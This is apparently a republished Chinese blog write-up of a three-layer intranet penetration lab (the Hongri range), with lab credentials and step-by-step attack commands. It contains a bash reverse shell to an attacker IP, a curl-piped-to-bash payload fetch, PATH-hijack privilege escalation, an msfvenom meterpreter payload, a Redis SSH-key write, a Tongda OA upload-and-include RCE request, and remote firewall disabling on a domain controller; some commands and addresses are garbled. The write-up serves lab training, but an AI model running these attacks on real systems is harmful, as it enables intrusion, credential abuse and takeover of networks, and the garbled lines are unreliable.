栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

内网渗透学习(三层网络拓扑)红日靶场

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

内网渗透学习(三层网络拓扑)红日靶场

环境搭建

配置虚拟机网卡

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24

环境信息
DMZ区的 Ubuntu 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:MYOAbinAutoConfig.exe


域用户信息
域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260
外网打点 信息搜集

现在对http://192.168.3.123/地址进行黑盒测试
首先使用nmap对地址进行扫描

nmap -T4 -sC -sV 192.168.3.123 -p 1-65535


查看81端口

利用exp getshell

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

cat /proc/1/cgroup

发现是docker环境

反弹shell

先把shell反弹到我们的kali当中(因为是ubuntu所以不能直接反弹shell)
kali上写个shell.sh

bash -i >& /dev/tcp/192.168.31.96/6666 0>&1

再开个web服务

python -m http.server 80

kali监听一个端口

nc -lvvp 6666


看一下靶机能不能访问192.168.3.139:80
在shell管理系统

curl 192.168.3.139/shell.sh


然后执行一下

curl 192.168.3.139:80/shell.sh|bash


成功把shell反弹到了kali上面

提权(失败)

查看linux版本

uname -a


提权exp

https://github.com/Al1ex/LinuxEelvation

没成功

提权(成功)
find / -perm -u=s -type f 2>/dev/null


利用/home/jobs/shell 提权,发现shell文件执行了ps,我们利用ps提权,写ps恶意命令

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell


已经是root权限

msf上线

生成msf木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.139 LPORT=6667 -f elf > shell.elf

监听(msf端执行)

use exploit/multi/handler
set lhost 192.168.3.139
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run

将木马传到靶机

wget http://192.168.3.139/shell.elf
chmod 777 shell.elf
./shell.elf

docker逃逸(失败,139主机只拿下了一半)

一直逃逸不出来,看看其他方式

redis未授权访问

信息搜集可得,服务器还有个redis端口,曲线救国

https://github.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.5.1
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.3.123


redis未授权确定了

kali生成ssh公钥

ssh-keygen -t rsa

将公钥导入key.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx


进入redis命令行将公钥写入(这里redis要是不用root启,就不行)

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上
第二层网络渗透 成功拿下“192.168.3.123”,进一步进行信息搜集


到这里我们可以发现我们拿下了第一台机器是ubuntu18 有两个网卡,发现了第一个内网网段是192.168.52.10

msf上线ubuntu18(192.168.3.123)

参考前面,懒得写了

工具使用一定要熟练啊,上线我就上了半天,设置监听端口之前一定看看占用了没,气死我了!!!!!!

msf扫描192.168.52.10/24

传一个fscan上去

upload /home/yezi/hongri1/fscan_amd64

然后扫描

扫到一台192.168.52.30
通达OA
使用frp在192.168.52.10做一个代理,来渗透192.168.52.30

frp教程
https://www.cnblogs.com/hanlongyi/p/15250440.html



第二次网络横向移动 渗透192.168.52.30(通达OA)

全局代理抓不到包,在bp上挂一个代理

判断通达OA版本
TongDaOA.domain/inc/expired.php 判断通达版本

参考:https://github.com/OA-HUNTER/TongDa-OA


可以看到版本为11.3

任意用户登录漏洞+RCE漏洞

登陆处抓包

2)修改再发包
需修改以下三个地方:
/logincheck.php      /logincheck_code.php
删除cookie在post包中添加UID=1


用获取的PHPSESSID访问/general/

访问上传接口抓包

/ispirit/im/upload.php

修改包的内容

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: **
User-Agent: python-requests/2.21.0
Content-Length: 90
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2204/1828100034.jpg"}&cmd=whoami


参考资料
https://blog.csdn.net/szgyunyun/article/details/107104288
cs上线192.168.52.30

进程迁移

第三层网络渗透(内网) 信息搜集192.168.52.30
ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \192.168.xx.xxipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \192.168.xx.xxc$ "密码" /user:"用户名"    # 建立c盘共享
dir \192.168.xx.xxc$user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组




信息搜集后得到
有一个域:whoamianony.org
域控是:DC.whoamianony.org
域控的ip:192.168.93.30


93这个网段有三台机器
193.168.92.20(通达OA本机)
193.168.92.30
193.168.92.40

抓一下凭证信息

横向移动 关闭防火墙

psexec失败了,半天没反应,我估计是防火墙的原因

IPC$常用命令
net use	查看当前连接的IPC$
net use * /del	删除IPC$连接
net use 192.168.1.1ipc$ 密码 /user:域账号	
连接域内IP地址为192.168.1.1的主机
dir 192.168.1.1c$	列出连接的192.168.1.1的C盘文件
copy c:/12.txt 192.168.1.1c$2.txt	
复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt

那我们利用net use 把域控的防火墙关了

net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator"

sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \192.168.93.30 start unablefirewall
psexe横向移动

因为抓到了域控的账号密码,cs横向基本操作这里不谈了

好了,至此机器全部都上线了

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/871715.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号